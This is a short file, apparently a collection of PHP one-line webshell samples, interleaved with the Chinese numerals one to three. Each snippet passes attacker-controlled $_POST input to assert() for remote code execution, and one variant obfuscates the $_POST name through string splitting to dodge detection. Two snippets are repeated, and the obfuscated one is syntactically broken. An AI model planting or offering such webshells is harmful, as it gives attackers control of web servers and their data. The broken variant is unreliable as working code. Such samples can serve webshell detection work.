一
二
<--?php $x='$_PO'."STasdasd[".'1]'; $x = $x.str_replace('STasdasd',"ST["); for ($x=0; $x<=0; $x++) { assert("$x"); }-->
三
<!--?php $value=$key = "a"; foreach($_POST as $key=>$value){
assert($value);
}-->
<--?php $x='$_PO'."STasdasd[".'1]'; $x = $x.str_replace('STasdasd',"ST["); for ($x=0; $x<=0; $x++) { assert("$x"); }-->
<!--?php $value=$key = "a"; foreach($_POST as $key=>$value){
assert($value);
}-->